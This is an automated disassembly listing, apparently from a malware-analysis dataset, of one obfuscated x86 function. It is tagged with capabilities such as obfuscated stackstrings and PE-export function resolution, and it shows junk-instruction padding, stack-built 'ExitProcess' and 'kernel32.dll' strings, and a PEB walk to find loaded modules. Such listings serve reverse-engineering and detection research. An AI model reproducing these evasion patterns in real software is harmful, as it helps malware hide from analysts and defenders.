Function at 0x466fe9
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x4669e2
and edi, 0x11537
pop edi
push ecx
and ecx, 0xe6ff
or ecx, 0x369b
pop ecx
jmp 0x466c2a
push ecx
add ecx, 0x16ece
xor ecx, 0x12127
pop ecx
push eax
jmp 0x466c41
pop eax
push edx
push eax
add esp, 4
and edx, 0xe674
jmp 0x466c55
sub edx, 0x45b2
pop edx
mov dword [ebp - 0x3cc], 0
push eax
sub eax, 0xdcaa
sub eax, 0x5d0d
or eax, 0x13979
pop eax
push esi
push ebx
add esp, 4
sub esi, 0x6d04
or esi, 0x1680
or esi, 0x3aeb
sub esi, 0x1b5b
pop esi
push esi
push edx
add esp, 4
sub esi, 0x17fdf
add esi, 0x1756e
pop esi
push edx
push edi
add esp, 4
jmp 0x466cb6
sub edx, 0x718
or edx, 0x12084
jmp 0x466cc9
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
and eax, 0xc302
and eax, 0x22e0
and eax, 0xae00
or eax, 0x15343
pop eax
push ecx
and ecx, 0x693c
call 0x466d0d
add byte [esi + 0x3b], cl
dec eax
dec ecx
inc esi
xor eax, 0x4c48336
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push edi
sub edi, 0x1338
xor edi, 0xc964
pop edi
push eax
push edx
add esp, 4
xor eax, 0xf5e3
pop eax
push edx
push edx
add esp, 4
sub edx, 0x51ef
pop edx
push edx
push edi
add esp, 4
xor edx, 0x26c6
pop edx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x466d6a
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
push ecx
add esp, 4
sub ebx, 0x16d8
pop ebx
push eax
jmp 0x466d7d
pop eax
push esi
push edi
add esp, 4
xor esi, 0x8a5b
or esi, 0x1467c
and esi, 0x12bcc
sub esi, 0x2797
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x466de4
push ecx
push ebx
add esp, 4
sub ecx, 0x6334
call 0x466dc7
add byte [ecx + 0x42], cl
cmp dword [ebx], edi
inc esp
dec ebp
inc edx
inc ebp
add esp, 4
pop ecx
push esi
push eax
add esp, 4
jmp 0x466dd8
or esi, 0xebec
pop esi
jmp 0x467012
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
push eax
add esp, 4
add ebx, 0x455a
jmp 0x466e0b
pop ebx
push esi
xor esi, 0x54b7
xor esi, 0x11b53
pop esi
push esi
push ebx
add esp, 4
add esi, 0x11558
add esi, 0xd6f1
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x466e93
push edx
or edx, 0x185c2
add edx, 0xa4d3
pop edx
push edx
sub edx, 0x4c24
xor edx, 0x44f7
call 0x466e78
add byte [ebp + 0x43], al
cmp dword [esi + ecx*2], esi
xor eax, 0x4c48334
add edx, 0x1738d
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x466fc4
cmp dword [ebp - 0xc10], 0
jle 0x466fb8
push edi
call 0x466eb0
add byte [edx + ecx*2 + 0x40], al
cmp eax, 0x4f4e4e46
inc esp
add esp, 4
call 0x466ec2
add byte [ecx + 0x4a], al
dec eax
dec ebx
dec edx
inc edi
aas
xor al, byte [ebx + 0x515f04c4]
push edx
add esp, 4
and ecx, 0x159ee
pop ecx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x466f54
push eax
xor eax, 0xf0fe
xor eax, 0xee5f
pop eax
push esi
push edx
add esp, 4
call 0x466f08
add byte [ecx + 0x39], cl
inc edx
xor eax, 0x834f434e
les eax, [ecx + eax*4]
out 0x11, al
add dword [eax], eax
add byte [esi + 0x53], bl
sub ebx, 0xdc3a
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x466f3c
mov dword [ebp - 0x14cc], 1
jmp 0x466f46
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x466fb8
push edx
push ecx
add esp, 4
jmp 0x466f60
jmp 0x466f69
sub edx, 0x12518
pop edx
push esi
xor esi, 0x11156
sub esi, 0xb4f8
jmp 0x466f85
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x466e93
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x46700d
mov ebp, 0xffffeb30
add byte [ebp + 0x40], dh
push edx
and edx, 0x9e0d
pop edx
push edx
push ebx
add esp, 4
call 0x466fe9
add byte [edi + 0x3f], cl
inc edi
cmp al, 0x50
inc edi
xor cl, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
loop 0x466fc5
adc eax, dword [ecx]
add byte [ecx + 0x665cc2], al
add byte [ecx + 0x14298ea], al
add byte [edx - 0x75], bl
test dword [eax], esi
sti
invalid
jmp 0x466d5b
push ebx
or ebx, 0x112dd
pop ebx
push edi
push edx
add esp, 4
xor edi, 0xdb7b
jmp 0x46702d
pop edi
push edi
and edi, 0x18603
add edi, 0xed07
pop edi
push edx
sub edx, 0x4fdc
pop edx
mov dword [ebp - 0xa5c], 0
push edi
push ecx
add esp, 4
or edi, 0xb808
and edi, 0xed4a
pop edi
push ebx
add ebx, 0xd185
and ebx, 0x1858e
sub ebx, 0x134a6
pop ebx
push eax
push ebx
add esp, 4
jmp 0x46707f
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
and eax, 0x5419
jmp 0x4670e0
xor eax, 0x97be
add eax, 0xdfbd
pop eax
push esi
push ebx
add esp, 4
jmp 0x4670f8
jmp 0x4670fd
pop esi
push eax
or eax, 0x1f76
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push eax
push esi
add esp, 4
add eax, 0x7cd1
pop eax
push ecx
add ecx, 0x1c43
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x12db8
call 0x4671cd
add byte [ebx], dh
inc ebx
dec ebx
dec edx
inc eax
dec ecx
aaa
xor eax, 0x4c4833b
pop edx
push esi
and esi, 0xf7e4
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x9358
or edx, 0x83b0
xor edx, 0x50ea
pop edx
push ecx
push edx
add esp, 4
add ecx, 0xb273
xor ecx, 0x62ce
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
push esi
add esp, 4
and eax, 0x396f
call 0x467243
add byte [ecx], bh
dec ebp
dec ebp
dec eax
dec eax
dec esp
inc ecx
add esp, 4
add eax, 0x178d9
call 0x467259
add byte [esp + ecx*2 + 0x43], al
dec ebx
dec eax
dec ebx
dec esp
add esp, 4
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x467275
mov dword [ebp - 0x2e0], 0
jmp 0x467531
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
push edi
add esp, 4
and ebx, 0x1377e
jmp 0x46729a
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0x16024
or ebx, 0x4cb
sub ebx, 0x18162
sub ebx, 0x16952
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x4672d1
mov dword [ebp - 0x2e0], 0
jmp 0x467531
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax